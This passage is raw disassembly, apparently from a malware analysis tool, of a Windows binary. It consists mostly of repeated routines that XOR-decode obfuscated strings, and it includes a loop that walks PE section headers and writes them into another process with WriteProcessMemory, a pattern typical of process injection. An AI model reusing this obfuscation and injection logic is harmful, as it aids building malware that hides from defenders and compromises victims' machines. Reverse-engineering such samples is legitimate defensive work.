xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp + 0x53], 0
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x53]
call fcn.14002f500
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140012ce4
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x54], 0
lea rdx, [rbp + 0xca8]
lea rcx, [rbp + 0x54]
call fcn.14002f330
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140012e20
mov r8d, edi
cmp esi, 2
jl 0x140012dea
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140012df0
mov byte [rbp + 0x55], 0
lea rdx, [rbp + 0x1118]
lea rcx, [rbp + 0x55]
call fcn.14002f160
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140012f60
mov r8d, edi
cmp esi, 2
jl 0x140012f1c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140012f30
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x56], 0
lea rdx, [rbp + 0xcb8]
lea rcx, [rbp + 0x56]
call fcn.14002ef90
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x1400130a1
mov r8d, edi
cmp esi, 2
jl 0x140013064
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140013070
mov byte [rbp + 0x57], 0
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0x57]
call fcn.14002ef00
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400130e3
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
cmp byte [rbp + 0x1e60], 0
je 0x14001321d
mov rdx, qword [rbp + 0x220]
movzx eax, word [rdx + 0x14]
lea rbx, [rdx + 0x18]
add rbx, rax
mov r14d, edi
cmp word [rdx + 6], r14w
je 0x14001321d
lea r8, [0x1400bea34]
lea r9, str..rsrc
lea r10, str..reloc
mov r13, qword [rbp + 0x230]
mov r12, rdx
mov rsi, qword [rbp + 0x208]
nop dword [rax]
mov edx, dword [rbx + 8]
test edx, edx
je 0x1400131f3
cmp byte [rbp + 0x1e70], 0
jne 0x140013186
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140013186
cmp rcx, 7
jne 0x140013170
jmp 0x1400131c4
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x1400131a6
cmp rcx, 6
jne 0x140013190
jmp 0x1400131c4
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x1400131f3
cmp rcx, 7
jne 0x1400131b0
mov r9, rdx
mov edx, dword [rbx + 0xc]
add rdx, r13
mov qword [rsp + 0x20], rdi
mov r8, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, [0x1400bea34]
lea r9, str..rsrc
lea r10, str..reloc
inc r14d
add rbx, 0x28
movzx eax, word [r12 + 6]
cmp r14d, eax
jne 0x140013150
mov esi, dword [0x1400c4098]
mov r12, qword [rbp + 0x250]
mov r13, qword [rbp + 0x258]
mov byte [rbp + 0x58], 0
lea rdx, [rbp + 0x18c]
lea rcx, [rbp + 0x58]
call fcn.14002f620
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140013253
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1be0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1be0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1be0]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x140013949
mov byte [rbp + 0x59], 0
lea rdx, [rbp + 0x14e0]
lea rcx, [rbp + 0x59]
call fcn.14002fee0
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x1400133e1
mov r8d, edi
cmp esi, 2
jl 0x1400133a7
mov rcx, rax
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400132c0
cmp r8d, 0x1a
jge 0x1400133e1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400133b0
mov byte [rbp + 0x5a], 0
lea rdx, [rbp + 0x1478]
lea rcx, [rbp + 0x5a]
call fcn.14002fcd0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140013531
mov r8d, edi
cmp esi, 2
jl 0x1400134f8
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140013411
cmp r8d, 0x16
jge 0x140013531
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140013500
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x5b], 0
lea rdx, [rbp + 0xcc8]
lea rcx, [rbp + 0x5b]
call fcn.14002fb00
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140013670
mov r8d, edi
cmp esi, 2
jl 0x140013637
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140013640
mov byte [rbp + 0x5c], 0
lea rdx, [rbp + 0x1128]
lea rcx, [rbp + 0x5c]
call fcn.14002f930
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400137b0
mov r8d, edi
cmp esi, 2
jl 0x14001376c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140013780
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x5d], 0
lea rdx, [rbp + 0x7d8]
lea rcx, [rbp + 0x5d]
call fcn.14002f890
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140013812
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x5e], 0
lea rdx, [rbp + 0x11f8]
lea rcx, [rbp + 0x5e]
call fcn.14002f6b0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140013941
mov r8d, edi
cmp esi, 2
jl 0x1400138fd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140013910
mov rcx, r10
jmp 0x140014ae6
mov byte [rbp + 0x5f], 0
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x5f]
call fcn.1400300f0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140013987
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1c00]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1c00]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1c00]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x140013f1b
mov byte [rbp + 0x60], 0
lea rdx, [rbp + 0x1138]
lea rcx, [rbp + 0x60]
call fcn.140030810
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x140013af1
mov r8d, edi
cmp esi, 2
jl 0x140013aad
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140013ac0
mov byte [rbp + 0x61], 0
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0x61]
call fcn.140030640
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140013c21
mov r8d, edi
cmp esi, 2
jl 0x140013bdc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140013bf0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x62], 0
lea rdx, [rbp + 0xce8]
lea rcx, [rbp + 0x62]
call fcn.140030470
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140013d60
mov r8d, edi
cmp esi, 2
jl 0x140013d27
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140013d30
mov byte [rbp + 0x63], 0
lea rdx, [rbp + 0x1148]
lea rcx, [rbp + 0x63]
call fcn.1400302a0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140013ea0
mov r8d, edi
cmp esi, 2
jl 0x140013e5c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140013e70
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x64], 0
lea rdx, [rbp + 0x7e8]
lea rcx, [rbp + 0x64]
call fcn.140030200
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140013f02
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x65], 0
lea rdx, [rbp + 0x598]
lea rcx, [rbp + 0x65]
call fcn.140030170
jmp 0x140014ab5
mov byte [rbp + 0x66], 0
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x66]
call fcn.1400309e0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140013f59
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1c20]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1c20]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1c20]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x140014609
mov byte [rbp + 0x67], 0
lea rdx, [rbp + 0xfc]
lea rcx, [rbp + 0x67]
call fcn.140031370
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x140013fbc
xor byte [rbx + 1], 1
